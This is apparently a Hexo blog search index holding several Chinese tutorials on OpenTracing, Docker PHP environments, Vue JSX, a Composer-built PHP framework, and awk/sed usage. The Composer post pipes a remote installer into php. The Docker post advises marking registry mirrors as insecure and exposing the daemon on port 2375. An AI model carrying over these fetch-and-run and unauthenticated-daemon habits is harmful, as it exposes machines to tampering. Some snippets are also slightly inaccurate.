<?xml version="1.0" encoding="utf-8"?>
<search>
  <entry>
    <title></title>
    <url>%2F2020%2F05%2F24%2FMisc%2F2020-05-24%2F</url>
    <content type="text"><![CDATA[电影《黑客帝国》]]></content>
  </entry>
  <entry>
    <title><![CDATA[OpenTracing]]></title>
    <url>%2F2020%2F05%2F22%2FDevOps%2Fopentracing%2F</url>
    <content type="text"><![CDATA[[toc] 关键字 Span SpanId SpanContext TraceId Tags from_of child_of 开始什么是分布式跟踪?分布式跟踪(也称分布式请求跟踪)是一种用于应用程序进行概要分析和监视的方法.尤其是使用微服务架构构建的应用程序.分布式跟踪有助于查明哪里发生故障以及什么原因导致性能下降. 谁在使用分布式跟踪?IT和DevOps团队可以使用分布式跟踪应用程序.分布式跟踪特别适合调试和监视现代分布式软件体系. 如微服务.可以帮助开发人员调试和优化代码. 什么是OpenTracing?OpenTracing由Api规范,规范框架和文档组成.不用关心特定的供应商. 组成 Trace Span SpanContext 结构图: graph TD; subgraph service1 A[span1]-- span4 child of span3 --> A1[span3] A1 --> A2[span4] A1 --> A3[span5] A --> B[span2] end subgraph Network C((Trace-Context)) B -.-> C end subgraph service3 C -.-> D[span] D --> D1[span] D1--> D2[span] D --> E[span] end trace一次完整的跟踪,由多个span组成.trace主要由,trace-id和span组成. spanspan 是分布式跟踪的主要构成模块,代表分布式的一个工作单元.分布式系统的每个组件都有一个命名的span.比如”request”,”db”span 可以包含其它span的引用,从而组成一个完整生命周期跟踪图.如上.通常一个span的内容规范. name,记录点的名称,用于分类 time,记录的开始时间戳和结束时间戳 tags,标记. key:value组成 logs,记录, key:value组成 spanContext, 上下文 name由字符串组成成的标识,可以用于过滤和标识. time时间,由开始时间和结束时间 tag标签,可以存放多个.用于过滤.包含一些常用的规范标签.行业约定 如: Span tag name Type Notes and examples component string 框架,组件,模块. E.g., &quot;grpc&quot;, &quot;django&quot;, &quot;JDBI&quot;. db.instance string 数据库实例名. E.g., jdbc.url=&quot;jdbc:mysql://127.0.0.1:3306/customers&quot;, 实例 &quot;customers&quot;. db.statement string 语句 E.g., for db.type=&quot;sql&quot;, &quot;SELECT * FROM wuser_table&quot;; for db.type=&quot;redis&quot;, &quot;SET mykey &#39;WuValue&#39;&quot;. db.type string 数据库类库类型分类,普通数据库用&quot;sql&quot;. 其他使用小写, e.g. &quot;cassandra&quot;, &quot;hbase&quot;, or &quot;redis&quot;. db.user string 数据库用户名. E.g., &quot;readonly_user&quot; or &quot;reporting_user&quot; error bool true 当且只当应用程序认为这块操作失败时,才返True http.method string Http请求的方法. E.g., &quot;GET&quot;, &quot;POST&quot; http.status_code integer HTTP 状态码. E.g., 200, 503, 404 http.url string URL. E.g., &quot;https://domain.com/path/to?resource=here&quot; message_bus.destination string 消息队列标识. E.g. 如kafaka的 &quot;topic name&quot; 生产者或消息者都可以. peer.address string 远程地址,如网络客户端库 &quot;ip:port&quot;, a bare &quot;hostname&quot;, 甚至可以使用DJBC的&quot;mysql://prod-db:3306&quot; peer.hostname string 远程主机名. E.g., &quot;www.baidu.com&quot; peer.ipv4 string 远程IPv4地址. E.g., &quot;127.0.0.1&quot; peer.ipv6 string 远程IPv6地址. E.g., &quot;2001:0db8:85a3:0000:0000:8a2e:0370:7334&quot; peer.port integer 远程端口. E.g., 80 peer.service string 远程服务名称 (未指定使用 &quot;service&quot;定义). E.g., &quot;elasticsearch&quot;, &quot;a_custom_microservice&quot;, &quot;memcache&quot; sampling.priority integer 如果&gt;0,则尽可能捕捉,==0不再跟踪 span.kind string 种类, Rpc使用 &quot;client&quot; ,消息队列使用 &quot;server&quot; , and &quot;producer&quot; or &quot;consumer&quot; 表示 log日志,用于调试和信息记录.日志的准备字段,参考上面的约定链接. Span log field name Type Notes and examples error.kind string 种类 (仅适用于 event=&quot;error&quot; 的日志). E.g., &quot;Exception&quot;, &quot;OSError&quot; error.object object 异常对象 (e.g., Java, Python), Throwable/Exception/Error . E.g., A java.lang.UnsupportedOperationException event string 事件标识, Performance.timing specification. E.g., from Zipkin, &quot;cs&quot;, &quot;sr&quot;, &quot;ss&quot;, or &quot;cr&quot;. Or, more generally, &quot;initialized&quot; or &quot;timed out&quot;. For errors, &quot;error&quot; message string 消息内容 stack string 堆栈跟踪 SpanContextspan的描述,上下文信息,必须的trace-id,span-id,span-kind Trace-Context传播上下文,通过Http传播给其他平台.W3C Trace-Context规范 现在各种平台规范不一样.Jaeger使用的是.Jaeger标记 Key:uber-trace-id不区分大小写,使用 Value :值由几部份组成.{trace-id}:{span-id}:{parent-span-id}:{flags} trace-id : 64位或128位 的 随机 base16 数 span-id: 64位或128位 的 随机 base16 数 parent-span-id: 0,代表根级 flags: 标记,2个字节. 第1位,1:采样,0:不采样 第2位,调试标记 使用下面结合 php的opentracing 和 jaeger,几个经典分布式追踪场景的使用和查询. Http DB MQ Cache Task Thread RPC 前端App 有很多优先的支持opentrcing平台,如zipkin,阿里云等.我这里使用 Jaeger.基于docker的部署环境,数据存储使用es. 环境要求: docker jaeger,服务端 jaeger-agent,客户端 jaeger存储,使用ES php-opentracing 包 演示的php框架,使用的是hpyerf 和 laravel 安装部署Jaegertodo:持续更新中…]]></content>
      <categories>
        <category>Arch</category>
      </categories>
      <tags>
        <tag>PHP</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[基于Docker的php开发环境]]></title>
    <url>%2F2019%2F09%2F08%2FDevOps%2Fdocker-php%2F</url>
    <content type="text"><![CDATA[docker下的php开发环境 开发环境布署是每个开发应该掌握的技能,通常这个工作由技术主管或运维人员提供.然而一般公司都不会重视基础环境建设. 开发环境部署方案选择搭建开发环境经常出现如下问题: 不同项目不同技术栈 php,mysql等等版本与测试环境,生产环境不统一 搭建时间太长.在不熟悉或网络不好的情况下,下载资源,编译,摸索等需要时间.新人或新项目往往花费一两天来做基础环境搭建 配置不一致.生产环境,测试环境,不同开发人员环境除了版本,配置也不一致.经常出现这样的对话”在我电脑上是好好的.” 切换电脑或环境需要重新配置.不能良好的迁移和备份. 一般我们统一环境,常用的方法是,虚拟机镜像,Vagrant(Homestaed),Docker. 对比一下: 环境 说明 虚拟机 场景:虚拟硬件,如:一台PC机虚拟出多个PC;每个PC共享同一硬件;每台PC可以装不同的操作系统.解决问题:1,模拟硬件(磁盘,cpu,内存);2.与硬件隔离的系统环境,如在虚拟中格式化磁盘操作.性能:一般,生产环境只有云厂商能用.镜像跨平台:支持同一虚拟应用下迁移镜像大小:大启动:慢 Vagrant 场景:在虚拟机基础上,对镜像管理.如通用的laravel homestaed 的运行环境,包含:php+nginx+mysql+laravel框架,以及配置.解决问题:一般解决统一开发环境问题.性能:一般镜像跨平台:只能在同宿主系统+虚拟应用下迁移镜像大小:大启动:慢 Docker 场景: 与平台无关的虚拟化应用如:nginx 镜像运行在:1.Windows+docker;2.MacOs+docker;3.Linux+docker4.云平台+docker5.虚拟机+docker.解决问题:1.跨平台应用部署;2.统一环境;镜像跨平台:支持同一种docker环境使用性能:优,可生产环境使用镜像大小:小启动:快 统一开发环境:这三种都可以用,但统一运行环境,包含开发环境,测试环境,生产环境一致的话,目前只能使用docker的方案. PHP的环境分析现在流行的php基础支持环境,学用的应用有:nginx,php,mysql,redis.操作系统统一使用linux,docker常用的容器系统有三种:Centos,Ubuntu,Alpine Centos: 开源的操作系统,有企业级的RedHat背书,生产环境下支持的软件多.Ubuntu: 常用于个人家用操作系统,用户群体多,很多人刚接触的linux是它.Alpine: 是一个微型的linux操作系统,大小只有5MB左右,适合用于docker的镜像. 综合考虑PHP的基本环境:alpine/centos+php+nginx+mysql+php下面要准备这些镜像. php的docker环境下面开始进入正题.工具: docker, phpstrom, 命令行 安装dockerdocker官网找到自己系统对应的安装方法.https://www.docker.com/get-started如:windows,目前(2019.09.09),安装docker-desktop就行. 注册并登录docker 官方账号https://id.docker.com/login/不是必须的,但下载安装docker需要登录.后面从docker hub下载东西也需要登录. 下载安装省略. 启动docker桌面版设置docker hub国内源 12345678910111213&#123; "registry-mirrors" : [ "http://registry.docker-cn.com", "http://docker.mirrors.ustc.edu.cn", "http://hub-mirror.c.163.com" ], "insecure-registries" : [ "registry.docker-cn.com", "docker.mirrors.ustc.edu.cn" ], "debug" : true, "experimental" : true&#125; 设置compose监听地址端口为2375windows如下图.macOs不需要配置. 配置共享比如,你数据库,代码等需要共享的,设置共享盘.如C:\,D:\windows配置:MacOs: phpstrom 配置打开配置–&gt;Build–&gt;Docker.获取直接搜索”docker”就行.新建一个配置 编写docker-compose.ymldocker-compose是docker编排工具.在项目根目录下,创建一个docker-compose.yml配置文件.services: 运行的服务container_name: 自定义的容器名image: docker 镜像restart: 是否重启volumes: 挂载的目录, 本地:docker容器depends_on: 依赖新版docker-compose 需要link设备网络了.默认可以通过 service名来访问容器.如在nginx中可以通过,http://my-php:9000,为什么不用IP地址,IP地址除非设置静态IP,不然IP地址每次启动都不一样. 举例:nginx+php-fpm 的docker1version: '3.4' services: my-php: image: php:7.2-fpm container_name: my-phpfpm restart: always volumes: - ./www:/www my-nginx: image: nginx container_name: my-nginx restart: always ports: - "1800:80" volumes: - ./www:/usr/share/nginx/html - ./config/nginx:/etc/nginx/conf.d/ depends_on: - my-php my-composer: image: composer container_name: my-composer restart: always volumes: - ./www:/app working_dir: /app 目录结构如下: nginx 配置如下:1server &#123; listen 80; server_name localhost; location / &#123; root /usr/share/nginx/html; index index.html index.htm index.php; &#125; error_page 500 502 503 504 /50x.html; location = /50x.html &#123; root /usr/share/nginx/html; &#125; location ~ \.php$ &#123; fastcgi_pass my-php:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /www/$fastcgi_script_name; include fastcgi_params; &#125; &#125; 注意: /www指的是 php-fpm容器中的目录,而不是nginx容器的路径; my-app指的是php-fpm的host.就像localhost一样的. 运行docker-compose使用docker-compose up xxx.docker-compse.yml也可以使用phpstrom 管理,推荐使用这种方式,更直观,好理解docker使用的场景. 在phpstrom 中运行.可以直接右键运行docker-compose.yml.会自动pull 对应的镜像文件.运行之后可以,映射本地代码路径.也可进入对应的容器,如修改docker的配置等等,这是不允许的.进入容品的方法:通过exec 运行bash或sh 就像正常的ssh登录一样. 运行完compose.yml后.就能通过映射的端口查看.如1800. 便成功. 测试环境和开发环境可以使用一套方案.生产环境,需要重新生成新项目配置,数据库,缓存.运维会安排好.]]></content>
      <categories>
        <category>DevOps</category>
      </categories>
      <tags>
        <tag>PHP</tag>
        <tag>Docker</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Vue中使用JSX]]></title>
    <url>%2F2019%2F08%2F01%2FJavascript%2Fvue-jsx%2F</url>
    <content type="text"><![CDATA[VueJs中使用JSX新项目前端使用的是vue框架,写了1个多月的vue,大部分使用Jsx,记录一下在vue中jsx遇到的问题,我最讨厌框架之争,语言之争.关于html中写Js还是Js中写html孰优孰劣不作评价,都是个人喜好.就像Vue和React哪个好,个人感觉vue易入门,适合刚入门的程序员或非前端人员快速出东西,轻量化应用.React更适合有专门的前端团队,组件化工程化. 为了减少Vue和React之间差异化,减少使用vue中的语法糖,我选择使用Jsx来封装通用组件,template来调用.1个月来封装了:数据表格组件,常用表单组件,弹框组件,权限控制组件,页面组件,抽屉组件,日历排期组件等.由于vue和react设计不同,jsx并不完全一样,有很多差异的地方.下面介绍,几个注意的地方. webpack插件开始使用,使用babel转换插件,babel-plugin-transform-vue-jsx,安装参考:https://github.com/vuejs/babel-plugin-transform-vue-jsx vue文档:https://cn.vuejs.org/v2/guide/render-function.html renderrender,也叫渲染函数,无论React还是Vue在组件最关键的是render,它也是前端的灵魂. 在React离不开它,Vue中设计者有意隐藏了,降低了入门成本,也就是大家常用的&lt;template&gt;标签.网上有专门讲解这部分的文章,详情搜索引擎搜索”vue template 原理”. 渲染编译过程vue的渲染编译大概过程: graph TB; A(解析模板)-->B(编译成AST语法树); B-->C(生成render函数); C.->J(解析JSX); J.->F(渲染表达式); C-->F; F-->D(生成虚拟DOM); D-->E(生成html); react: graph TB; J(解析JSX)-->F(渲染表达式); F-->D(生成虚拟DOM); D-->E(生成html); vue和react渲染过程都一样,都是通过babel转化成真正的渲染表达式,最后转成虚拟Dom,生成html. 渲染表达函数渲染表达式,简单理解就是,虚拟dom生成函数.vue中叫vnode,react中叫virtual-dom,具体参考官方文档.想知道virtual-dom的原理,可以参考网上文章,手写virtual-dom.看一下渲染表达式函数长得什么亚子.举例渲染:&lt;h1&gt;大表哥&lt;/h1&gt;vue:参考:https://cn.vuejs.org/v2/guide/render-function.html#%E8%99%9A%E6%8B%9F-DOM123render: function (createElement) &#123; return createElement('h1',&#123;&#125;,'大表哥')&#125; react:123render()&#123; return React.createElement('h1',&#123;&#125;,'大表哥')&#125; 对比一下是不是一蚂一样.通过babel把jsx转成这样的函数就行了.就是第一节中的babel插件做的事情.这种写法是完整的功能,但明显不直观.所以.vue使用template,react使用jsx.通一使用jsx写法,更直观.template:123&lt;template&gt; &lt;h1&gt;大表哥&lt;/h1&gt;&lt;/template&gt; jsx:123render()&#123; return (&lt;h1&gt;大表哥&lt;/h1&gt;)&#125; 对比一下.template只能使用vue提供的语法糖.如 v-for,v-if,v-show等.缺少原生JS的所有能力.需要配合method使用.而Jsx不提供语法糖.如加事件.vue template写法:12345678910&lt;template&gt; &lt;h1 v-on:click="onClick"&gt;大表哥&lt;/h1&gt;&lt;/template&gt;&lt;script&gt;methods:&#123; onClick()&#123; console.log('click') &#125;&#125;&lt;/script&gt; jsx 写法:12345render()&#123; &lt;h1 onClick=&#123;()=&gt;&#123;console.log('click')&#125;&#125; &gt; 大表哥 &lt;/h1&gt;&#125; 哪种写法好呢?我个人认为,综合使用.显示为主的用template,操作控制为主的使用jsx.一般在通用组件使用jsx写法,调用组件使用template写法.举个例子,5分钟手写个弹框组件.弹框组件.dialog.1234567891011121314151617181920212223242526272829303132333435363738394041424344454647&lt;script&gt;export default &#123; name: "MyDialog", props: &#123; title: &#123; type: String, default: "" &#125; &#125;, data()&#123; return &#123; visible:false, &#125;; &#125;, methods:&#123; show()&#123; this.visible=true &#125; &#125;, render(h)&#123; const sub = this.$slots.default; const display=this.visible?'block':'none'; return ( &lt;div class="dialog" style=&#123;&#123;display:display&#125;&#125;&gt; &lt;h3&gt;&#123;this.title&#125;&lt;/h3&gt; &lt;div class="body"&gt; &#123;sub&#125; &lt;/div&gt; &lt;div class="footer"&gt; &lt;button onClick=&#123;()=&gt;&#123; this.visible=false; this.$emit('close','我要自闭了.') &#125;&#125;&gt;关闭&lt;/button&gt; &lt;/div&gt; &lt;/div&gt;) &#125;&lt;/script&gt;&lt;style&gt; .dialog&#123; position:fixed; width:320px; height:400px; top:10%; left:50%; margin-left:-160px; &#125;&lt;/style&gt; 调用时12345678910111213141516171819202122&lt;script&gt;import MyDialog from "./MyDialog.vue"export default &#123; components:&#123; MyDialog &#125; methods:&#123; onOpen()&#123; this.$refs.dialog.show(); &#125;, onClose(msg)&#123; console.log(msg) &#125; &#125;&#125;&lt;/script&gt;&lt;template&gt; &lt;div class="app"&gt; &lt;button @click="onOpen"&gt;打开弹窗&lt;/button&gt; &lt;MyDialog ref="dialog" @close="onClose" /&gt; &lt;/div&gt;&lt;/template&gt; todo: 补充event,props,v-model等使用.]]></content>
      <categories>
        <category>Javascript</category>
      </categories>
      <tags>
        <tag>Vue</tag>
        <tag>Jsx</tag>
        <tag>Render</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[使用Composer搭建自己的框架]]></title>
    <url>%2F2019%2F04%2F21%2FPHP%2Fcomposer%2F</url>
    <content type="text"><![CDATA[composer 的安装先安装composer,官网安装就行中文官方网站curl -sS https://getcomposer.org/installer | php 初始化composer initcomposer.json文件可以手写.1234&#123; "name": "arkin/okool", "require": &#123;&#125;&#125; 引用自动加载类执行composer dump-autoload --optimize自动创建vendor目录和autoload文件 新建入口文件入口index.php,如下目录名没要求.能访问就行. 引用自动加载类,根据目录相对路径引用. 创建框架核心文件与业务独立,单独创建一个目录如bootstrap放框架核心文件. 这样一个最原始的框架就运行起来了. 新建src源码目录如上我们使用了app目录作为src目录创建基础 MVC三层结构.在composer.json中加入 自动加载命名空间.12345678"autoload": &#123; "psr-4": &#123; "App\\": "app/" &#125;, "files":[ "app/Helpers/functions.php" ]&#125; 说明:尽量使用psr-4命名空间标准.123"psr-4": &#123; "App\\": "app/"&#125; 表示使用psr4的标准,App命名空间指向 app/这个目录.自动加载类会按psr4的标准到app这个目录寻找加载类.123"files":[ "app/Helpers/functions.php"] files是一个加载文件数组,一般放公共函数等与业务无关代码,这里会提前加载. 修改autoload配置后需要重新执行composer dump-autoload --optimize以便autoload 类优化完成缓存. 文件目录如下: 现在我们可以使用命名空间执行controller的方法了.一个项目不可能只有一个控制器,那么就需要使用到路由自动加载控制器了. 路由一个框架,最关键的是路由,不然就是一堆代码,不叫框架.可以引用别人的路由类,也可以自己写.我们先写一个简单的,了解原理后,再引用别人成熟的.. 解析URL/Cli路由我们想要访问的如 http://xxx.com/home/index 这样的地址,home代表home控制器 index方法实现步骤: 把index.php隐藏掉,需要用到URL重写,方法有.htaccess,’apache重写’,’nginx的重写’ 获取到home和index 其它参数,其它参数先不考虑. 支持默认控制器和方法 为了方便,我们还支持cli模式的访问,如php index.php home index Router类如下: 测试一下:OK. 路由自动加载得到了Controler和Action,我们要拼装成访问类,并执行.App 类改造一下.如下: 测试结果: 至此,一个包含路由和自动加载的框架完成. 配置文件可定制化的框架,不能用硬编码,可配置原则.我们引用配置文件.配置文件一般使用,array,.ini,json,yaml等.框架内部,使用php 数组配置,框架外部我们使用.env文件.分析,原理: 解析.env文件 使用 putenv 把环境变量注册到$_ENV中 其它地方便可以使用 getenv 函数获取环境变量的值了这么麻烦的事我们使用现成的吧.优秀的类 Dotenv使用composer安装composer require vlucas/phpdotenv.env,文件放在根目录下,文件如下 完成后就可以使用了,一般在框架加载前载入配置文件. 使用ORM类数据库操作,避免手写SQL带来的不可控问题,统一管理,做数据迁移,更换数据驱动等.我们需要使用ORM操作.网上有很多优先的ORM操作类,这里我使用的是.Laravel 的 Eloquent 安装Eloquent官方github composer 安装1composer require illuminate/database 注意要求,官方现在(201904)必须要php7.1以上 编写配置文件按官方文档写,也可以参考laravel写. 连接数据库123456public function connection()&#123; $capsule = new Capsule; $config=require (self::$ROOT.'/./config/database.php'); $capsule-&gt;addConnection($config['connections'][$config['default']]); $capsule-&gt;bootEloquent(); &#125; 编写Model继承Model就行.创建表 使用Model 测试,OK.至此,框架已经使用了ORM操作类.如果纯写API,基本差不多了. 日志每个系统都需要一个日志系统,去分析记录系统运行情况.关于日志,强烈介意,反感没有规范的日志系统.日志除了开发人员看,还需要对接其它日志组件,必须符合规范,不然以后日志处理成本很大.我们必须使用psr-3日志规范,符合这个规范的才能使用.我们这里引用 monolog.官方GIT 安装composer require monolog/monolog 使用重写一个Log单例. 重载几个主要方法 info,debug,log,error等. 使用 Log::log(&#39;msg&#39;,&#39;content&#39;); 一个小小的框架就完成了.完整的框架,包含事件,异常处理,队列,视图,前端模板等.]]></content>
      <categories>
        <category>PHP</category>
      </categories>
      <tags>
        <tag>PHP</tag>
        <tag>设计模式</tag>
        <tag>Laravel</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Linux三剑客之awk]]></title>
    <url>%2F2019%2F04%2F20%2FLinux%2Fawk%2F</url>
    <content type="text"><![CDATA[Linux三剑客:awk,sed,grep如果你不会这三个命令,就别谈会Linux.awk,sed都是linux下处理文本和文件的命令.还有一本书专讲这两个命令.《sed 与 awk》《awk》基本上每个linux系统下都自带这三命令. Linux之 awk 命令awk是处理文本文件的一个应用程序,实际上awk还是一门脚本语言,但我们平时只用到awk命令.awk的处理逻辑是依次扫描处理文本文件的每一行,每一列(字段).我们经常使用它来处理大量的日志文件,csv文件.下面只讲,命令方法.假如我们有这样一段csv文件.会员列表吧.[user.csv]123451001,阿金,13800013801,user001@163.com1002,阿木,13800013802,user002@163.com1003,阿水,13800013803,user003@163.com1004,阿火,13800013804,user004@163.com1005,阿土,13800013805,user004@163.com 基本语法:1awk 参数 动作 文件名 逐行打印1awk '&#123;print&#125;' user.csv 解释:{print} 为动作 print命令 为打印显示print命令默认尾部会加换行.可以使用printf 命令不会加换行. 显示指定列如:姓名,手机号1awk -F ',' '&#123;print $2,$3&#125;' user.csv 效果如下:解释:‘-F’: 代表 列(字段)分割符,默认使用空白符 (空格或Tab)‘\$2’: 表示 第2个字段,即是第2列‘\$3’: 表示 第3个字段$0:表示整行.‘,’: 逗号表示,空格除了这些,还有很多内置的变量,和方法,参考awk官方文档.如:NR代表行号.1awk -F ',' '&#123;print NR".手机号是:"$3&#125;' user.csv 双引号是字符串. 这样就可以生成,一些脚本,如PHP,bash批量发送短信脚本. 变量和运算awk可以用变量和运算结果echo &quot;&quot; | awk &#39;{a=1+2;print a;}&#39;解释:awk脚本使用 ;作来代码分隔符. 处理函数内置很多处理函数,如大小写转换，切割截取文本,正则,数学处理,随机数等等.详细参考官方文档.《内置函数文档》 如把substr(string,start,length)注意字符集,中文utf8按3个字节.1awk -F ',' '&#123;print substr($2,4,3)&#125;' user.csv 条件输出基础语法,动作为空时,默认print输出awk &#39;条件语句 {动作}&#39;比如第1表用户ID,大于1002的1awk -F ',' '$1&gt;1002 &amp;&amp; $1&lt;1005' user.csv 说明:条件符如: &lt;,&gt;,=,&gt;=,&lt;=,!不等于,&amp;&amp;合,|| 或等.例:从第2行开始1awk -F ',' 'NR&gt;1 &#123;print $2,$3&#125;' user.csv 也可以支持正则.例,查找包含”阿金”的行:1awk -F ',' '/阿金/ &#123;print $2,$3&#125;' user.csv IF语句复杂的条件,可以使用if条件.可以使用if() ;else例:只输出偶数行.1awk -F ',' '&#123;if($1%2 ==0)print $2;&#125;' user.csv 例:使用else if ,else1awk -F ',' '&#123;if($1%2 ==0)print $2;else if($1==1001) print "第1行";else print "--"&#125;' BEGIN和END基本语法BEGIN{读取前前执行} 条件 {动作} END{最后退出前}可以单独使用,注意大写.例,BEGIN1awk -F ',' 'BEGIN &#123;print "我们要开始遍历行了:"&#125; &#123;print $0&#125;' user.csv 例:END一般用于统计结果,如求ID的总和. 稍微复杂的经典案例:计算目录下的文本总大小.需要个知识:ls -l 目录 : 显示目录的文件列表|: 管道符,把前面的结果传给后面命令例:计算当前目录下,.gz文件的总大小1ls -l ./ | awk '/.gz$/ &#123;size+=$5&#125; END &#123;print "大小为:" size&#125;' PS,查看文件和目录大小有专用的命令.du -sk 目录或文件如du -skh ./*.gzh:友好显示大小k: Kbm: Mb 上面求大小可以改成.1du -sk ./*.gz | awk '&#123;size+=$1;&#125; END&#123;print size&#125;' 独立脚本运行awk是一个脚本语言,类似python,JS一样.由于是很多linux系统自带,所以流行度很高.脚本演示. awk -f 脚本 处理文件1awk -f user.awk user.csv 例: 处理成json 123456789101112131415161718#!/bin/awk BEGIN&#123; FS=","; RS="\r"#MacOs 是'\r' print "&#123;" &gt; "user.json"&#125;&#123; obj="&#123;" obj=obj"\id\":\""$1"\","; obj=obj"\"name\":\""$2"\","; obj=obj"\"phone\":\""$3"\","; obj=obj"\"email\":\""$4"\","; obj=obj"&#125;," print obj &gt;&gt; "user.json"&#125;END&#123; print "&#125;" &gt;&gt; "user.json";&#125; 解释:FS : 修改字段分隔符RS : 修改行分隔符,默认\n&gt;&gt; : 重定向到文件]]></content>
      <categories>
        <category>Linux</category>
      </categories>
      <tags>
        <tag>Shell</tag>
        <tag>Bash</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Linux三剑客之grep]]></title>
    <url>%2F2019%2F04%2F20%2FLinux%2Fgrep%2F</url>
    <content type="text"><![CDATA[Linux之 grep 命令]]></content>
      <categories>
        <category>Linux</category>
      </categories>
      <tags>
        <tag>Shell</tag>
        <tag>Bash</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Linux三剑客之sed]]></title>
    <url>%2F2019%2F04%2F20%2FLinux%2Fsed%2F</url>
    <content type="text"><![CDATA[Linux之 sed 命令sed命令主要用来修改文本文件用的,使用命令的方式来快速修改文件.和vim一样,但是它是使用交互式命令的.一般和管道命令一起使用.主要功能: 插入,删除,选中,替换以之前user.csv文件举例.文件如下: 由于MacOs的sed和gnu-sed不一样,我们以gnu-sed为准.mac安装.brew install gnu-sed修改sed alias sed=gsed 在.zsh或bash环境改.或者改软链接.ln /usr/local/bin/gsed /usr/local/bin/sed 必须前置知识:标准输入/输出,有时间再细说.linux有三种标准输入/输出. 名称 文件描述 含义 设备 STDIN 0 标准输入 键盘 STDOUT 1 标准输出 显示器 STDERR 2 标准错误 显示器 STDIN: 标准输入,普通的键盘输入比如我们收集一个输入当成变量. 12read -p "用户名:" usernameecho $username ps: zsh和bash的语法稍微不同.zsh环境使用12read -s "pwd?密码:"echo $pwd 提示:zsh用 “变量?提示符代替-p”-s: 隐藏输入 废话说. 这里的输入就是标准的STDIN STDOUT:意思是输出到显示器的内容.echo 输出来的内容就是 标准输出.我们常见的一个语句.xxx.sh 2&gt;&amp;1 &gt; /dev/null这语句表示”所有的错误和输出都重定向到黑洞里面”解释一下这语句.主要是 2&gt;&amp;1 &gt; /dev/null2: 表示STDERR,错误消息1: 表示STDOUT,标准输出&gt;: 表示重定向,全写应该是 1&gt; 代表标准输出重定向.还有 2&gt;,代表错误重定向./dev/null: 表示文件,只是dev/null是一个特殊空文件 关键是 2&gt;&amp;1 &gt; ,全写应该是 2&gt;&amp;1 1&gt; xxx,意思是把2也是STDERR错误输出 重定向到1标准输出,最后标准输出,重定向到 某个文件.也可 反着写.把 2&gt;&amp;1放到最后. |:管道符,表示 把 前面命令的标准输出当到后面命令的标准输入.如:123cat user.csv | awk &#123;print&#125;# 相当于awk &#123;print&#125; user.csv 了解了标准输入输出和管道符,重定向,开始sed的正题 参数-e : 在命令行模式下编辑,默认就是-e,可以省略-i : 写入文件,-n : 只显示匹配行,不加该参数,默认打印最终结果-f : 使用外部脚本,相对于-e,太复杂不讲 写入文件sed 标准输入,只能在内存和标准输出中修改,只有使用 &gt; 重定向 才能写入到文件.平时我们使用 sed 只在标准输出中修改,一般不直接修改文件,因为直接修改文件有风险.怎么修改文件呢?使用 sed -i &#39;备份后缀名&#39; &#39;操作命令&#39; 文件注:macOS必须填写备份后缀名,但允许为空例:我们要删除文件的第1行.1sed -ie '1d' user.csv 1d 代表删除第1行,后面 “删除” 再细讲.在使用标准输入时就不能用 -i 参数了.echo &quot;lalalalal&quot; | sed -ie &#39;1d&#39; 这个就会出错.意思. 使用 -i 必须带文件.实际修改文件 使用 -i参数. 标准输入后面基演示都在标准输入和标准输出.不修改文件本身. 删除行操作使用 d 命令按行删除sed -e &#39;1d&#39; user.csv解释:1d: 1为第1行,d代表删除操作符, 1,4: 代表1至4行$:代表最后一行例: 正则删除sed &#39;/正则/d&#39;删除带关键字”阿木”的行:sed &#39;/阿木/d&#39; user.csv删除空白行sed &#39;/^[\( \)|\s]*$/d&#39; user.csv注意:sed 的正则很变态,()或{}有时需要转义,有时不需要. 增加行使用a和i操作符a: 在后面追加i: 在前面添加格式:sed -e &#39;/模式/a 内容&#39; 文件 在第1行前加1行内容:sed -e &#39;1i 内容&#39; user.csv 在最后一行添加1行内容:sed -e &#39;$a 最后一行&#39; user.csv注意空文件的情况.文件必须存在且不能为空.避免空文件空行,一般用&gt;或 ‘&gt;&gt;’ 添加.echo &#39;&#39; &gt; tmp.txt 查找到正则添加:sed -e &#39;/阿金/i &quot;# 这就是我&quot;&#39; user.csv 修改内容修改内容是很常用的功能.使用s命令语法:sed -e &#39;s/正则/替换/模式&#39; 如修改配置文件:把root变成admin1sed -i -e 's/username=\(.*\);/username=admin;/' config.ini 打印行p来打印输出行.打印奇数行sed -n -e &#39;1~2p&#39; user.csv解释: ~表示递增,从1行开始递增,1,1+2,3+2行偶数行:sed -n -e &#39;0~2p&#39; user.csv0,2,2+2行匹配行的下一行sed -n -e &#39;2{n;p}&#39; //第2行的下1行,第3行上一行:sed -n -e &#39;2{p;n}&#39; //第2行的上1行,第1行 范围打印:sed -n -e &#39;/开始正则/,/结束正则/&#39; 读取文件r命令在匹配行下,读取加载文件内容.例,在php类中为每个函数里面加载一段代码.1sed -e '/function \([A-Za-z0-9_]*\)(\(.*\))&#123;/r log_hook.php' class.php 效果如下. 写入文件w,把匹配的每一行写入到某个文件,和上面刚好相反. 1sed -e '/function \([A-Za-z0-9_]*\)(\(.*\))&#123;/w function.php' class.php 跨行匹配sed默认是按行处理的.有时候有大段文字是跨多行的,就不好处理了.sed &#39;/开始标准/,/结束标记/&#39;比如上面截取函数列表.1sed -n -e '/function /,/\&#125;/w function.php' class.php 得到这样的结果.]]></content>
      <categories>
        <category>Linux</category>
      </categories>
      <tags>
        <tag>Shell</tag>
        <tag>Bash</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[依赖注入(DI)/控制反转(IoC)]]></title>
    <url>%2F2019%2F04%2F19%2FPHP%2FIOC_DI%2F</url>
    <content type="text"><![CDATA[依赖注入 (Dependency Injection)控制反转 (Inversion of Control)一直解释不清楚IoC,下面尝试使用产品分析5W1H原则来解释IoC. What? 是什么,解释它是什么,能做什么 Why? 为什么,为什么要用 Where/When? 什么场景,一般使用在哪些场景 Who? 都什么人在用 How? 怎么做,演示使用PHP怎么实现 优缺点 What?IoC(全称:Dependency Injection),意为控制反转;IoC容器:装IoC对象的对象盒子.它们都是面向对象编程的一种设计思想.它长的是什么样?下面使用PHP代码来展示,看是否值得花时间了解.]]></content>
      <categories>
        <category>PHP</category>
      </categories>
      <tags>
        <tag>PHP</tag>
        <tag>设计模式</tag>
        <tag>Laravel</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[PHP的设计模式]]></title>
